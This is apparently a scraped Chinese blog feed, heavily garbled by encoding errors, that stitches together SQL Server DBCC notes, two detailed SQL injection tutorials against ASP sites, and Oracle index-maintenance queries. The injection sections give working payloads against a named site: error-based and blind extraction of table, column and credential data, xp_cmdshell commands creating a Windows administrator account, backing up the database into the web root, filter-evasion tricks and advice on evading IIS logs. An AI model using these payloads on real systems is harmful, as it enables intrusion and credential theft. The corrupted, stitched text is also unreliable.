例：

dbcc reindex (titles)
�q�回信息�Q�One or more indexes corrupt.They will be rebuilt.

　　fix_text选项

　　SQL Server的字�W�集由单字节转变为多字节后，fix_text选项用于升��文本倹{��SQL Server的字�W�集由单字节转变为多字节字符集会使文本数据的��理更加复杂。由于文本值可能较大��以覆盖若�q�页�Q�SQL Server必须能处理（通过��늺�束）可能横跨��늚�字符。�ؓ做到�q�点�Q�服务器需要在每一文本��上��d��一些信息。SA或表属主必须在文本数据的每一个表上运行dbcc fix_text�Q�以计算所需要的新页数�?

　　��M��Q�DBCC命��o所�q�回的信息能准确地反映数据库及它的各个对象的状态，是我们检��数据库的好帮手�?/p>

☜♥☞MengChuChen 2007-04-13 08:31 发表评论

��详�l�SQL注入�Ҏ��

☜♥☞MengChuChen — Fri, 13 Apr 2007 00:00:00 GMT

��详�l�SQL注入�Ҏ��Q�对初学者有很大的帮助！对你没帮助就不要��Ӟ��

随着B/S模式应用开发的发展�Q��用这�U�模式编写应用程序的�E�序员也��来��多。但是由于这个行业的入门门槛不高�Q�程序员的水�q�_��l�验也参差不齐，相当大一部分�E�序员在�~�写代码的时候，没有对用戯��入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一�D�|��据库查询代码�Q�根据程序返回的�l�果�Q�获得某些他惛_��知的数据�Q�这��是所谓的SQL Injection�Q�即�Q�I��Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入�?br>
�Q�I��Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入是从正常的WWW端口讉K��Q�而且表面看�v来跟一般的Web��面讉K��没什么区别，所以目前市面的防火墙都不会对Ｓ�Q�Ｌ注入发出警报�Q�如果管理员没查看IIS日志的习惯，可能被入侵很长时间都不会发觉�?br>
但是�Q�Ｓ�Q�Ｌ注入的手法相当灵�z�，�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的时候会��到很多意外的情��c��能不能�Ҏ��具体情况�q�行分析�Q�构造��y妙的SQL语句�Q�从而成功获取想要的数据�Q�是高手�?#8220;菜鸟”的根本区别�?br>
�Ҏ��国情�Q�国内的�|�站用ASP+Access或SQLServer的占70%以上�Q�PHP+MySQ占L20%�Q�其他的不��10%。在本文�Q�我们从分入门、进阶至高��讲解一下ASP注入的方法及技巧，PHP注入的文章由NB联盟的另一位朋友zwell撰写�Q�希望对安全工作者和�E�序员都有用处。了解ASP注入的朋友也请不要蟩�q�入门篇�Q�因为部分�h�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的基本判断方法还存在误区。大家准备好了吗�Q�Let's Go...

�?�?��?br>
如果你以前没试过�Q�I��Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的话�Q�那么第一步先把IE菜单=>工具=>Internet选项=>高��=>昄��友好 HTTP 错误信息前面的勾��L��。否则，不论服务器返回什么错误，IE都只昄��为HTTP 500服务器错误，不能获得更多的提�C�Z��息�?

�W�一节、Ｓ�Q�Ｌ注入原理

以下我们从一个网站www.19cn.com开始（注：本文发表前已征得该站站长同意�Q�大部分都是真实数据�Q��?br>
在网站首��上�Q�有名�ؓ“IE不能打开新窗口的多种解决�Ҏ��”的链接，地址为：http://www.19cn.com/showdetail.asp?id=49�Q�我们在�q�个地址后面加上单引�?#8217;�Q�服务器会返回下面的错误提示�Q?br>
Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误在查询表辑ּ� 'ID=49'' 中�?br>/showdetail.asp�Q�行8

从这个错误提�C�我们能看出下面几点�Q?br>
1.�|�站使用的是Access数据库，通过JET引擎�q�接数据库，而不是通过ODBC�?br>2.�E�序没有判断客户端提交的数据是否�W�合�E�序要求�?br>3.�?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL语句所查询的表中有一名�ؓID的字�D�c�?br>
从上面的例子我们可以知道�Q�Ｓ�Q�Ｌ注入的原理，��是从客��L��提交�Ҏ��的代码，从而收集程序及服务器的信息�Q�从而获取你惛_��得到的资料�?br>
�W�二节、判断能否进行Ｓ�Q�Ｌ注入

　　看完�W�一节，有一些�h会觉得：我也是经常这��h��试能�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的，�q�不是很��单吗�Q?br>　　其实�Q�这�q�不是最好的�Ҏ��Q��ؓ什么呢�Q?br>
　　首先�Q�不一定每台服务器的IIS都返回具体错误提�C�给客户端，如果�E�序中加了cint(参数)之类语句的话�Q�Ｓ�Q�Ｌ注入是不会成功的�Q�但服务器同样会报错�Q�具体提�C�Z��息�ؓ处理 URL 时服务器上出错。请和系�l�管理员联络�?br>
其次�Q�部分对�Q�I��Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入有一点了解的�E�序员，认�ؓ只要把单引号�q��o掉就安全了，�q�种情况不�ؓ��数�Q�如果你用单引号��试�Q�是��不�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入点的

　　那么�Q�什么样的测试方法才是比较准��呢�Q�答案如下：

�?http://www.19cn.com/showdetail.asp?id=49
�?http://www.19cn.com/showdetail.asp?id=49 and 1=1
�?http://www.19cn.com/showdetail.asp?id=49 and 1=2

�q�就是经典的1=1�?=2��试法了�Q�怎么判断呢？看看上面三个�|�址�q�回的结果就知道了：

可以注入的表玎ͼ�

�?正常昄��Q�这是必然的�Q�不然就是程序有错误了）
�?正常昄��Q�内容基本与①相�?br>�?提示BOF或EOF�Q�程序没做�Q何判断时�Q�、或提示找不到记录（判断了rs.eof�Ӟ��、或昄��内容为空�Q�程序加了on error resume next�Q?br>
不可�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入��比较容易判断了�Q�①同样正常昄��Q�②和③一般都会有�E�序定义的错误提�C�，或提�C�类型�{换时出错�?br>
　　当然�Q�这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字�W�型和搜索型参数�Q�我��在中�񔽋�的“�Q�I��Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入一般步�?#8221;再做分析�?

�W�三节、判断数据库�c�d��?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入�Ҏ��

不同的数据库的函数�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入�Ҏ��都是有差异的�Q�所以在注入之前�Q�我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer�Q�网上超�q?9%的网站都是其中之一�?br>
怎么让程序告诉你它��用的什么数据库呢？来看看：

SQLServer有一些系�l�变量，如果服务器IIS提示没关闭，�q�且SQLServer�q�回错误提示的话�Q�那可以直接从出错信息获取，�Ҏ��如下�Q?br>
http://www.19cn.com/showdetail.asp?id=49 and user>0

�q�句语句很简单，但却包含了SQLServer�Ҏ��注入�Ҏ��的精髓，我自�׃��是在一�ơ无意的��试中发现这�U�效率极高的猜解�Ҏ��。让我看来看看它的含义：首先�Q�前面的语句是正常的�Q�重点在and user>0�Q�我们知道，user是SQLServer的一个内�|�变量，它的值是当前�q�接的用户名�Q�类型�ؓnvarchar。拿一个nvarchar的��D��int的数0比较�Q�系�l�会先试囑ְ�nvarchar的��D�{成int型，当然�Q��{的过�E�中肯定会出错，SQLServer的出错提�C�是�Q�将nvarchar�?”abc” 转换数据�c�d��?int 的列时发生语法错误，呵呵�Q�abc正是变量user的��|��q�样�Q�不废吹��C��力就拿到了数据库的用户名。在以后的篇�q�里�Q�大家会看到很多用这�U�方法的语句�?br>
��Z��说几句，众所周知�Q�SQLServer的用户sa是个�{�同Adminstrators权限的角�Ԍ��拿到了sa权限�Q�几乎肯定可以拿��C��机的Administrator了。上面的�Ҏ��可以很方便的��试出是否是用sa��d��Q�要注意的是�Q�如果是sa��d��Q�提�C�是��?#8221;dbo”转换成int的列发生错误�Q�而不�?#8221;sa”�?

如果服务器IIS不允许返回错误提�C�，那怎么判断数据库类型呢�Q�我们可以从Access和SQLServer和区别入手，Access和SQLServer都有自己的系�l�表�Q�比如存放数据库中所有对象的表，Access是在�pȝ��表[msysobjects]中，但在Web环境下读该表会提�C?#8220;没有权限”�Q�SQLServer是在表[sysobjects]中，在Web环境下可正常��d��?br>
在确认可�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的情况下�Q��用下面的语句�Q?br>
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0

如果数据库是SQLServer�Q�那么第一个网址的页面与原页�?a target=_blank>http://www.19cn.com/showdetail.asp?id=49是大致相同的�Q�而第二个�|�址�Q�由于找不到表msysobjects�Q�会提示出错�Q�就��程序有定w��处理�Q�页面也与原��面完全不同�?br>
如果数据库用的是Access�Q�那么情况就有所不同�Q�第一个网址的页面与原页面完全不同；�W�二个网址�Q�则视乎数据库设�|�是否允许读该系�l�表�Q�一般来说是不允许的�Q�所以与原网址也是完全不同。大多数情况下，用第一个网址��可以得知系�l�所用的数据库类型，�W�二个网址只作为开启IIS错误提示时的验证�?br>
(入门��完)
说明:使用NBSI-NB联盟SQL注入分析器可以检��出各种SQL注入漏洞�q�进行解�?提高猜解效率.

在入门篇�Q�我们学会了�Q�I��Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的判断方法，但真正要拿到�|�站的保密内容，是远�q�不够的。接下来�Q�我们就�l�箋学习如何从数据库中获取想要获得的内容�Q�首先，我们先看看Ｓ�Q�Ｌ注入的一般步骤：

�W�一节、Ｓ�Q�Ｌ注入的一般步�?br>
首先�Q�判断环境，��L��注入点，判断数据库类型，�q�在入门��已�l�讲�q�了�?br>
其次�Q�根�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入参数�c�d��Q�在脑�v中重�?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL语句的原貌，按参数类型主要分��Z��面三�U�：

(A) ID=49 �q�类注入的参数是数字型，SQL语句原貌大致如下�Q?br>Select * from 表名 where 字段=49
注入的参��CؓID=49 And [查询条�g]�Q�即是生成语句：
Select * from 表名 where 字段=49 And [查询条�g]

(B) Class=�q�箋�?�q�类注入的参数是字符型，SQL语句原貌大致概如下：
Select * from 表名 where 字段=’�q�箋�?#8217;
注入的参��CؓClass=�q�箋�?#8217; and [查询条�g] and ‘’=’ �Q�即是生成语句：
Select * from 表名 where 字段=’�q�箋�?#8217; and [查询条�g] and ‘’=’’

(C) 搜烦时没�q��o参数的，如keyword=关键字，SQL语句原貌大致如下�Q?br>Select * from 表名 where 字段like ’%关键�?’
注入的参��Cؓkeyword=’ and [查询条�g] and ‘%25’=’�Q?��x��生成语句�Q?br>Select * from 表名 where字段like ’%’ and [查询条�g] and ‘%’=’%’

接着�Q�将查询条�g替换�?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL语句�Q�猜解表名，例如�Q?br>
ID=49 And (Select Count(*) from Admin)>=0

如果��面��׃��ID=49的相同，说明附加条�g成立�Q�即表Admin存在�Q�反之，即不存在�Q�请牢记�q�种�Ҏ��Q�。如此��@环，直至猜到表名为止�?br>
表名猜出来后�Q�将Count(*)替换成Count(字段�?�Q�用同样的原理猜解字�D�名�?br>
有�h会说�Q�这里有一些偶然的成分�Q�如果表名�v得很复杂没规律的�Q�那�Ҏ��没得玩下去了。说得很对，�q�世界根本就不存�?00%成功的黑客技术，苍蝇不叮无缝的蛋�Q�无论多技术多高深的黑客，都是因�ؓ别�h的程序写得不严密或��用者保密意识不够，才有得下手�?br>
有点跑题了，话说回来�Q�对于SQLServer的库�Q�还是有办法让程序告诉我们表名及字段名的�Q�我们在高�񔽋�中会做介绍�?br>

最后，在表名和列名猜解成功后，再��?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL语句�Q�得出字�D늚��|��下面介绍一�U�最常用的方法－Ascii逐字解码法，虽然�q�种�Ҏ��速度很慢�Q�但肯定是可行的�Ҏ��?br>
我们举个例子�Q�已知表Admin中存在username字段�Q�首先，我们取第一条记录，��试长度�Q?br>
http://www.19cn.com/showdetail.asp?id=49 ;;and (select top 1 len(username) from Admin)>0

先说明原理：如果top 1的username长度大于0�Q�则条�g成立�Q�接着��是>1�?gt;2�?gt;3�q�样��试下去�Q�一直到条�g不成立�ؓ止，比如>7成立�Q?gt;8不成立，��是len(username)=8

　　当然没�h会笨得从0,1,2,3一个个��试�Q�怎么��h��比较快就看各自发挥了。在得到username的长度后�Q�用mid(username,N,1)截取�W�N位字�W�，再asc(mid(username,N,1))得到ASCII码，比如�Q?br>
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同样也是用逐步�~�小范围的方法得到第1位字�W�的ASCII码，注意的是英文和数字的ASCII码在1-128之间�Q�可以用折半法加速猜解，如果写成�E�序��试�Q�效率会有极大的提高�?br>

�W�二节、Ｓ�Q�Ｌ注入常用函数

�?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL语言基础的�h�Q�在�Q�I��Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的时候成功率比不熟悉的�h高很多。我们有必要提高一下自��q��SQL水��^�Q�特别是一些常用的函数及命令�?br>
Access�Q�asc(字符) SQLServer�Q�unicode(字符)

作用�Q�返回某字符的ASCII�?br>

Access�Q�chr(数字) SQLServer�Q�nchar(数字)

作用�Q�与asc相反�Q�根据ASCII码返回字�W?br>

Access�Q�mid(字符�?N,L) SQLServer�Q�substring(字符�?N,L)

作用�Q�返回字�W�串从N个字�W��v长度为L的子字符�Ԍ��即N到N+L之间的字�W�串

Access�Q�abc(数字) SQLServer�Q�abc (数字)

作用�Q�返回数字的�l�对��|��在猜解汉字的时候会用到�Q?br>

Access�Q�A between B And C SQLServer�Q�A between B And C

作用�Q�判断A是否界于B与C之间

�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入中碰��C��文字�W�是常有的事�Q�有些�h一��到中文字符��想打退堂鼓了。其实只要对中文的编码有所了解�Q?#8220;中文恐惧�?#8221;很快可以克服�?br>
先说一点常识：

Access中，中文的ASCII码可能会出现负数�Q�取��负数后用abs()取绝对��|��汉字字符不变�?br>
SQLServer中，中文的ASCII为正敎ͼ�但由于是UNICODE的双位编码，不能用函数ascii()取得ASCII码，必须用函数unicode ()�q�回unicode��|��再用nchar函数取得对应的中文字�W��?br>
了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢？除了使用的函数要注意、猜解范围大一点外�Q�方法是没什么两��L��?br>
(�q�阶��完)

看完入门��和�q�阶��后�Q�稍加练习，破解一般的�|�站是没问题了。但如果��到表名列名猜不刎ͼ�或程序作者过滤了一些特�D�字�W�，怎么提高注入的成功率�Q�怎么��h��高猜解效率？请大家接着往下看高�񔽋��?br>
�W�一节、利用系�l�表注入SQLServer数据�?br>
SQLServer是一个功能强大的数据库系�l�，与操作系�l�也有紧密的联系�Q�这�l�开发者带来了很大的方便，但另一斚w��Q�也�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入者提供了一个蟩板，我们先来看看几个具体�?strong style="COLOR: black; BACKGROUND-COLOR: #ff9999">例子�Q?br>
�?http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

　　分号;在SQLServer中表�C�隔开前后两句语句�Q?-表示后面的语句�ؓ注释�Q�所以，�q�句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储�q�程xp_cmdshell�Q�这个存储过�E�用于调用系�l�命令，于是�Q�用net命��o新徏了用户名为name、密码�ؓpassword的windows的帐��P��接着�Q?br>
�?http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

　　��新建的帐号name加入��理员组�Q�不用两分钟�Q�你已经拿到了系�l�最高权限！当然�Q�这�U�方法只适用于用sa�q�接数据库的情况�Q�否则，是没有权限调用xp_cmdshell的�?br>
　　�?http://Site/url.asp?id=1 ;;and db_name()>0

前面有个�c�M��?strong style="COLOR: black; BACKGROUND-COLOR: #ff9999">例子and user>0�Q�作用是获取�q�接用户名，db_name()是另一个系�l�变量，�q�回的是�q�接的数据库名�?br>
�?http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--

�q�是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的�l�对路径�Q�将数据库备份到Web目录下面�Q�再用HTTP把整个数据库��完完整整的下蝲回来�Q�所有的��理员及用户密码都一览无遗！在不知道�l�对路径的时候，�q�可以备份到�|�络地址的方法（如\\202.96.xx.xx\Share\1.db�Q�，但成功率不高�?br>
　　�?http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面说过�Q�sysobjects是SQLServer的系�l�表�Q�存储着所有的表名、视图、约束及其它对象�Q�xtype=’U’ and status>0�Q�表�C�用户徏立的表名�Q�上面的语句��第一个表名取出，�?比较大小�Q�让报错信息把表名暴露出来。第二、第三个表名怎么获取�Q�还是留�l�我们聪明的读者思考吧�?br>
�?http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

从⑤拿到表名后，用object_id(‘表名’)获取表名对应的内部ID�Q�col_name(表名ID,1)代表该表的第1个字�D�名�Q�将1换成2,3,4...��可以逐个获取所猜解表里面的字段名�?br>
　　以上6�Ҏ��我研�I�SQLServer注入半年多以来的心血�l�晶�Q�可以看出，对SQLServer的了解程度，直接影响着成功率及猜解速度。在我研�I�SQLServer注入之后�Q�我在开发方面的水��^也得到很大的提高�Q�呵呵，也许安全与开发本来就是相辅相成的吧�?br>
�W�二节、绕�q�程序限制��l?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入

在入门篇提到�Q�有很多人喜�Ƣ用’��h��?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入漏洞�Q�所以也有很多�h用过�?#8217;��L��Ҏ��?#8220;防止”注入漏洞�Q�这也许能挡住一些入门者的��d��Q�但对Ｓ�Q�Ｌ注入比较熟悉的�h�Q�还是可以利用相关的函数�Q�达到绕�q�程序限制的目的�?br>
�?#8220;�Q�I��Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的一般步�?#8221;一节中�Q�我所用的语句�Q�都是经�q�我优化�Q�让其不包含有单引号的；�?#8220;利用�pȝ��?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入SQLServer数据�?#8221;中，有些语句包含�?#8217;��P��我们举个例子来看看怎么攚w��这些语句：

��单的如where xtype=’U’�Q�字�W�U对应的ASCII码是85�Q�所以可以用where xtype=char(85)代替�Q�如果字�W�是中文的，比如where name=’用户’�Q�可以用where name=nchar(29992)+nchar(25143)代替�?br>
�W�三节、经验小�l?br>
1.有些��Z��q��oSelect、Update、Delete�q�些关键字，但偏偏忘记区分大��写�Q�所以大家可以用selecT�q�样��试一下�?br>
2.在猜不到字段名时�Q�不妨看看网站上的登录表单，一般�ؓ了方便�v见，字段名都与表单的输入框取相同的名字�?br>
3.特别注意�Q�地址栏的+号传入程序后解释为空��|��%2B解释�?��P��%25解释�?��P��具体可以参考URLEncode的相关介�l��?br>
4.用Get�Ҏ��注入�Ӟ��IIS会记录你所有的提交字符�Ԍ��对Post�Ҏ��做则不记录，所以能用Post的网址��量不用Get�?br>
5. 猜解Access时只能用Ascii逐字解码法，SQLServer也可以用�q�种�Ҏ��Q�只需要两者之间的区别卛_��Q�但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高�?br>
�?�?�?�?br>
�Q�I��Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入漏洞可谓�?#8220;千里之堤�Q�溃于蚁�I?#8221;�Q�这�U�漏�z�在�|�上极�ؓ普遍�Q�通常是由于程序员�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入不了解，或者程序过滤不严格�Q�或者某个参数忘记检查导致。在�q�里�Q�我�l�大家一个函敎ͼ�代替ASP中的Request函数�Q�可以对一切的SQL注入Say NO�Q�函数如下：

Function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符�?br>'ParaType:参数�c�d��-数字�?1表示以上参数是数字，0表示以上参数为字�W?

Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型�Q?
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''"
End if
SafeRequest=ParaValue
End function

文章到这里就�l�束了，不管你是安全人员、技术爱好者还是程序员�Q�我都希望本文能对你有所帮助�?/font>

日志标题�Q?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL注入的新技�?br>发表旉��Q?005-2-19 8:25:00

SQL注入的新技�?/font>

表名和字�D�名的获得_适用情况:
1)数据库是MSSQL
2)�q�接数据库的只是普通用�?br>3)不知道ASP源代�?br>
可以�q�行的攻�?br>1)�Ҏ��据内容进行添加，查看�Q�更�?br>
实例:
本文件以
http://www.dy/***.com/user/wantpws.asp
为列�q�行��试��d��?br>
�W�一�?
在输入用户名处输入单引号�Q�显�C?br>Microsoft OLE DB Provider for SQL Server 错误 80040e14
字符�?之前有未闭合的引受��?

/user/wantpws.asp�Q�行63

说明没有�q��o单引号且数据库是MSSQL.

�W�二�?
输入a;use master;--
昄��
Microsoft OLE DB Provider for SQL Server 错误 80040e21
多步 OLE DB 操作产生错误。如果可能，��h��查每�?OLE DB 状态倹{��没有工作被完成�?

/user/wantpws.asp�Q�行63
�q�样说明没有权限了�?br>
�W�三�?
输入:a or name like fff%;--
昄��有一个叫ffff的用户哈�?br>
�W�四�?
在用户名处输�?br>ffff and 1<>(select count(email) from [user]);--
昄��:
Microsoft OLE DB Provider for SQL Server 错误 80040e37
对象�?user 无效�?

/user/wantpws.asp�Q�行96

说明没有叫user的表�Q�换成users试试成功,同时说明有一个叫email的列.
(东方飘云的一个办法是输入a having 1=1--
一般返回如下也��可以直接得到表名和一个字�D�名�?br>Microsoft OLE DB Provider for SQL Server 错误 80040e14
�?users.ID 在选择列表中无效，因�ؓ该列未包含在聚合函数中，�q�且没有 GROUP BY 子句�?

/user/wantpws.asp�Q�行63

)

现在我们知道了ffff用户的密码是111111.

下面通过语句得到数据库中的所有表名和字段名�?br>
�W�五�?
输入:
ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
说明:
上面的语句是得到数据库中的第一个用戯��,�q�把表名攑֜�ffff用户的邮��字�D�中�?br>通过查看ffff的用戯��料可得第一个用表叫ad
然后�Ҏ��表名ad得到�q�个表的ID
ffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
同上可知id�?581577110
�׃��对象标志id是根据由��到大排列的所以我们可以得到所有的用户表的名字�?br>象下面这样就可以得到�W�二个表的名字了
ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--

ad 581577110
users 597577167
buy 613577224
car 629577281
learning 645577338
log 661577395
movie 677577452
movieurl 693577509
password 709577566
type 725577623
talk

�l�过一�D�|��间的猜测后我们得��C��面的分析一下应该明白password,users是最得要�?br>
�W�六�?猜重要表的字�D?br>输入:
现在��q��看users表有哪些字段
ffff;update [users] set email=(select top 1 col_name(object_id(users),3) from users) where name=ffff;--
得到�W�三个字�D�|��password
ffff;update [users] set email=(select top 1 col_name(object_id(users),4) from users) where name=ffff;--
得到�W�四个字�D�|��name
最后users表的字段�?8个全得到�?br>(�?另一个得到字�D늚�办法,前提是系�l�的�q�回出错信息
a group by ID having 1=1--
得到
Microsoft OLE DB Provider for SQL Server 错误 80040e14
�?users.userid 在选择列表中无效，因�ؓ该列既不包含在聚合函��C��Q�也不包含在 GROUP BY 子句中�?

/user/wantpws.asp�Q�行63
�q�个�W�二个字�D�就是userid
昄��W�三个字�D�c�?
a group by id,userid having 1=1--

Microsoft OLE DB Provider for SQL Server �?/span>

☜♥☞MengChuChen 2007-04-13 08:00 发表评论

☜♥☞MengChuChen — Thu, 08 Mar 2007 00:45:00 GMT

在Oracle中，SYSTEM表是安装数据库时自动建立的，它包含数据库的全部数据字典，存储�q�程、包、函数和触发器的定义以及�pȝ��回滚�D�c�?br />
　　一般来��_��应该��量避免在SYSTEM表中存储非SYSTEM用户的对象。因��样会带来数据库维护和��理的很多问题。一旦SYSTEM表损坏了�Q�只能重新生成数据库。我们可以用下面的语句来��查在SYSTEM表内有没有其他用��L��索引存在�?br />

select count(*)
from dba_indexes
where tablespace_name = 'SYSTEM'
and owner not in ('SYS','SYSTEM')
/

　　�? 索引的存储情冉|��?/b>

　　Oracle为数据库中的所有数据分配逻辑�l�构�I�间。数据库�I�间的单位是数据块（block�Q�、范��_��extent�Q�和�D�（segment�Q��?br />
　　Oracle数据块（block�Q�是Oracle使用和分配的最��存储单位。它是由数据库徏立时讄��的DB_BLOCK_SIZE军_��的。一旦数据库生成了，数据块的大小不能改变。要��x��变只能重新徏立数据库。（在Oracle9i中有一些不同，不过�q�不在本文讨论的范围内。）

　　Extent是由一�l�连�l�的block�l�成的。一个或多个extent�l�成一个segment。当一个segment中的所有空间被用完�Ӟ��Oracle为它分配一个新的extent�?br />　
　　Segment是由一个或多个extent�l�成的。它包含某表�I�间中特定逻辑存储�l�构的所有数据。一个段中的extent可以是不�q�箋的，甚至可以在不同的数据文�g中�?br />
　　一个object只能对应于一个逻辑存储的segment�Q�我们通过查看该segment中的extent�Q�可以看出相应object的存储情��c�?br />
　　�Q?�Q�查看烦引段中extent的数量：

select segment_name, count(*)
from dba_extents
where segment_type='INDEX'
and owner=UPPER('&owner')
group by segment_name
/

　　�Q?�Q�查看表�I�间内的索引的扩展情况：

select
substr(segment_name,1,20) "SEGMENT NAME",
bytes,
count(bytes)
from dba_extents
where segment_name in
( select index_name
from dba_indexes
where tablespace_name=UPPER('&表空�?))
group by segment_name,bytes
order by segment_name
/

�? 索引的选择�?br />
　　索引的选择性是指烦引列中不同值的数目与表中记录数的比。如果一个表中有2000条记录，表烦引列�?980个不同的��|��那么�q�个索引的选择性就�?980/2000=0.99�?br />
　　一个烦引的选择性越接近�?�Q�这个烦引的效率��p��高�?br />
　　如果是��用基于cost的最优化�Q�优化器不应该��用选择性不好的索引。如果是使用��Z��rule的最优化�Q�优化器在确定执行�\径时不会考虑索引的选择性（除非是唯一性烦引）�Q��ƈ且不得不手工优化查询以避免��用非选择性的索引�?br />
　　��定索引的选择性，可以有两�U�方法：手工��量和自动测量�?br />
　　�Q?�Q�手工测量烦引的选择�?br />
　　如果要根据一个表的两列创��Z��列�ƈ�|�烦引，可以用以下方法测量烦引的选择性：

　　列的选择�?不同值的数目/行的��L�� /* ��接�q?��好 */

select count(distinct �W�一列||'%'||�W�二�?/count(*)
from 表名
/

　　如果我们知道其中一列烦引的选择性（例如其中一列是主键�Q�，那么我们��可以知道另一列烦引的选择性�?br />
　　手工�Ҏ��的优�Ҏ��在创建烦引前��p��评估索引的选择性�?br />
　　�Q?�Q�自动测量烦引的选择�?br />
　　如果分析一个表�Q�也会自动分析所有表的烦引�?br />
　　�W�一�Q��ؓ了确定一个表的确定性，��p��分析表�?br />
analyze table 表名
compute statistics
/

　　�W�二�Q�确定烦引里不同关键字的数目�Q?br />
select distinct_keys
from user_indexes
where table_name='表名'
and index_name='索引�?
/

　　�W�三�Q�确定表中行的��L��Q?br />
select num_rows
from user_tables
where table_name='表名'
/

　　�W�四�Q�烦引的选择�?索引里不同关键字的数�?表中行的��L��Q?br />
select i.distinct_keys/t.num_rows
from
user_indexes i,
user_tables t
where i.table_name='表名'
and i.index_name='索引�?
and i.table_name=t.table_name
/

　　�W�五�Q�可以查询USER_TAB_COLUMNS以了解每个列的选择性�?br />
　　表中所有行在该列的不同值的数目�Q?br />
select
column_name,
num_distinct
from user_tab_columns
where table_name='表名'
/

　　列的选择�?NUM_DISTINCT/表中所有行的��L��Q�查询USER_TAB_COLUMNS有助��量每个列的选择性，但它�q�不能精��地��量列的�q�置�l�合的选择性。要��x��量一�l�列的选择性，需要采用手工方法或者根据这�l�列创徏一个烦引�ƈ重新分析表�?br />
　　�? ��定索引的实际碎�?/b>

　　随着数据库的使用�Q�不可避免地对基本表�q�行插入�Q�更新和删除�Q�这样导致叶子行在烦引中被删除，使该索引产生��片。插入删除越频繁的表�Q�烦引碎片的�E�度也越高。碎片的产生使访问和使用该烦引的I/O成本增加。碎片较高的索引必须重徏以保持最��x��能�?br />
　　�Q?�Q�利用验证烦引命令对索引�q�行验证�?br />
　　�q�将有�h值的索引信息填入index_stats表�?br />
validate index 用户�?索引�?br />/

　　�Q?�Q�查询index_stats表以��定索引中删除的、未填满的叶子行的百分比�?br />
select
name,
del_lf_rows,
lf_rows,
round((del_lf_rows/(lf_rows+0.0000000001))*100) "Frag Percent"
from index_stats
/

　　�Q?�Q�如果烦引的叶子行的��片��过10%�Q�考虑对烦引进行重建�?br />
alter index 用户�?索引�?rebuild
tablespace 表空间名
storage(initial 初始�?next 扩展�?
nologging
/

　　�Q?�Q�如果出于空间或其他考虑�Q�不能重建烦引，可以整理索引�?br />
alter index用户�?索引�?coalesce
/

　　�Q?�Q�清除分析信�?br />
analyze index 用户�?索引�?br />delete statistics
/

�? 索引的选择�?br />
　　索引的选择性是指烦引列中不同值的数目与表中记录数的比。如果一个表中有2000条记录，表烦引列�?980个不同的��|��那么�q�个索引的选择性就�?980/2000=0.99�?br />
　　一个烦引的选择性越接近�?�Q�这个烦引的效率��p��高�?br />
　　如果是��用基于cost的最优化�Q�优化器不应该��用选择性不好的索引。如果是使用��Z��rule的最优化�Q�优化器在确定执行�\径时不会考虑索引的选择性（除非是唯一性烦引）�Q��ƈ且不得不手工优化查询以避免��用非选择性的索引�?br />
　　��定索引的选择性，可以有两�U�方法：手工��量和自动测量�?br />
　　�Q?�Q�手工测量烦引的选择�?br />
　　如果要根据一个表的两列创��Z��列�ƈ�|�烦引，可以用以下方法测量烦引的选择性：

